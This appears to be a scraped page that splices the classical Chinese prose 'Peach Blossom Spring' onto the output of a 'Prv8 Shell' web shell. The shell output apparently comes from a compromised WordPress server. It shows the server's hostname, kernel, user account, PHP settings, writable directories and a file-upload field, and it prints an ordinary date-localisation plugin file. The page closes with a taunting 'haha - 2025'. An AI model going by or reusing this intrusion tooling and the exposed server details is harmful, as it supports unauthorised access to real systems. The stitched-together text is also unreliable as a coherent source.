晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/wp-jalali/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/wp-jalali/wp-jalali-init.php
<?php

/**
 * plugin installer
 */
function ztjalali_installer() {
    $options = get_option('ztjalali_options');
    if (empty($options)) {
        if (!($options = ztjalali_get_old_options()))
            $options = include JALALI_DIR . 'wp-jalali-config.php';
        add_option('ztjalali_options', json_encode($options));
    }else{
        $default_options = include JALALI_DIR . 'wp-jalali-config.php';
        $options =json_decode($options,TRUE);
        $options = array_merge($default_options,$options);
        update_option('ztjalali_options', json_encode($options));
    }
    
    $current_version = ztjalali_get_plugin_version();
    add_option('ztjalali_version',$current_version )
    OR update_option('ztjalali_version', $current_version );
    
    add_option('ztjalali_do_activation', true)
    OR update_option('ztjalali_do_activation', true );
}

/* =================================================================== */

function ztjalali_get_old_options() {
    $old_versions = array('4.1', '4.0', '3.9', '3.8', '3.7', '3.6', '3.5');
    foreach ($old_versions as $old_ver) {
        $mps_jd_optionsDB = get_option('mps_jd_options_' . $old_ver);
        if (!empty($mps_jd_optionsDB))
            break;
    }
    if (empty($mps_jd_optionsDB))
        return false;
    /* ------------------------------------------------------ */
    return array(
        'force_timezone' => FALSE, //doing: test
        'change_date_to_jalali' => ($mps_jd_optionsDB['mps_jd_autodate']) ? TRUE : FALSE,
        'change_jdate_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_date']) ? TRUE : FALSE,
        'change_url_date_to_jalali' => ($mps_jd_optionsDB['mps_jd_jperma']) ? TRUE : FALSE,
        'afghan_month_name' => ($mps_jd_optionsDB['mps_jd_country'] == 'AF') ? TRUE : FALSE,
        'disallow_month_short_name' => TRUE,
        'change_title_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_title']) ? TRUE : FALSE,
        'change_content_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_content']) ? TRUE : FALSE,
        'change_excerpt_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_content']) ? TRUE : FALSE,
        'change_comment_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_comment']) ? TRUE : FALSE,
        'change_commentcount_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_commentnum']) ? TRUE : FALSE,
        'change_category_number_to_persian' => ($mps_jd_optionsDB['mps_jd_farsinum_category']) ? TRUE : FALSE,
        'change_point_to_persian' => TRUE,
        'change_arabic_to_persian' => ($mps_jd_optionsDB['mps_jd_autoyk']) ? TRUE : FALSE,
        'change_archive_title' => ($mps_jd_optionsDB['mps_jd_farsinum_title']) ? TRUE : FALSE,
        'save_changes_in_db' => FALSE,
        'ztjalali_admin_style' => FALSE,
        'persian_planet' => TRUE,
    );
}

add_action('upgrader_process_complete','ztjalali_updater');

/**
 * plugin update
 */
function ztjalali_updater() {
    $current_ver = ztjalali_get_plugin_version();
    if($current_ver != get_option('ztjalali_version')){
        ztjalali_installer();
    }
}


/* =================================================================== */

/**
 * init function
 * @global type $ztjalali_option
 * @global type $jdate_month_name
 * @global array $ztjalali_wpoption
 */
function ztjalali_init() {
    /**
     * define global variables 
     */
    global $ztjalali_option;
    global $jdate_month_name;

    /**
     * load options
     */
    $OPT = get_option('ztjalali_options');
    $ztjalali_option = json_decode($OPT, TRUE);
    /* =================================================================== */

    /**
     * set global variables value
     */
    if (isset($ztjalali_option['afghan_month_name']) && $ztjalali_option['afghan_month_name'])
        $jdate_month_name = array("", "حمل", "ثور", "جوزا", "سرطان", "اسد", "سنبله", "میزان", "عقرب", "قوس", "جدی", "دلو", "حوت");
    else
        $jdate_month_name = array('', 'فروردین', 'اردیبهشت', 'خرداد', 'تیر', 'مرداد', 'شهریور', 'مهر', 'آبان', 'آذر', 'دی', 'بهمن', 'اسفند');
}

/* =================================================================== */

/**
 * Setup language text domain
 */
load_plugin_textdomain('ztjalali', false, basename(dirname(__FILE__)).'/languages');
/* =================================================================== */


/**
 * Setup plugin page option link
 */
function ztjalali_add_settings_link( $links ) {
    $settings_link = '<a href="'.menu_page_url('ztjalali_admin_page',FALSE).'">'.__('setting','ztjalali').'</a>';
    Array_unshift( $links, $settings_link );
    return $links;
}

/* =================================================================== */



/**
 * Enqueue styles & scripts
 * @see http://codex.wordpress.org/Plugin_API/Action_Reference/admin_enqueue_scripts
 */
// site -------------------------
//add_action('wp_enqueue_scripts', 'ztjalali_reg_css_and_js');
//function ztjalali_reg_css_and_js() {
//    wp_register_style('ztjalali_reg_style', plugins_url('assets/css/style.css', __FILE__));
//    wp_enqueue_style('ztjalali_reg_style');
//    wp_enqueue_script('ztjalali_reg_js', plugins_url('assets/js/js.js', __FILE__), array('jquery'));
//}
//admin -------------------------
add_action('admin_enqueue_scripts', 'ztjalali_reg_admin_css_and_js');

function ztjalali_reg_admin_css_and_js() {
    global $ztjalali_option;
    wp_register_style('ztjalali_reg_admin_style', plugins_url('assets/css/admin.css', __FILE__));
    wp_enqueue_style('ztjalali_reg_admin_style');
    
    if (isset($ztjalali_option['ztjalali_admin_style']) && $ztjalali_option['ztjalali_admin_style']){
        wp_register_style('ztjalali_reg_custom_admin_style', plugins_url('assets/css/admin_style.css', __FILE__));
        wp_enqueue_style('ztjalali_reg_custom_admin_style');
    }
    
    add_editor_style(plugins_url('assets/css/wysiwyg.css', __FILE__));
    wp_enqueue_script('ztjalali_reg_date_js', plugins_url('assets/js/date.js', __FILE__));
    if (isset($ztjalali_option['afghan_month_name']) && $ztjalali_option['afghan_month_name'])
        wp_enqueue_script('ztjalali_reg_admin_js', plugins_url('assets/js/admin-af.js', __FILE__), array('jquery'));
    else
        wp_enqueue_script('ztjalali_reg_admin_js', plugins_url('assets/js/admin-ir.js', __FILE__), array('jquery'));
}

//theme editiong style -----------------
add_action('admin_print_styles-plugin-editor.php', 'ztjalali_reg_theme_editor_css_and_js', 11);
add_action('admin_print_styles-theme-editor.php', 'ztjalali_reg_theme_editor_css_and_js', 11);

function ztjalali_reg_theme_editor_css_and_js() {
    wp_register_style('ztjalali_reg_theme_editor_style', plugins_url('assets/css/theme_editing.css', __FILE__));
    wp_enqueue_style('ztjalali_reg_theme_editor_style');
}

/* =================================================================== */

/**
 * Login Form modifiers 
 * @see http://codex.wordpress.org/Plugin_API/Filter_Reference/login_headerurl
 */
//add_filter('login_headerurl', 'ztjalali_login_url', 111);
add_filter('login_headertitle', 'ztjalali_login_text', 111);
//add_action('login_head', 'ztjalali_login_img', 111);

function ztjalali_login_url() {
    return 'http://wp-persian.com';
}

function ztjalali_login_text() {
    return __('Powered BY persian wordpress', 'ztjalali');
}

function ztjalali_login_img() {
    echo '<style>#login h1 a {background: transparent url(' . plugins_url('assets/img/wp-jalali-80x80.png', __FILE__) . ') no-repeat scroll center top}</style>';
}

/* =================================================================== */

haha - 2025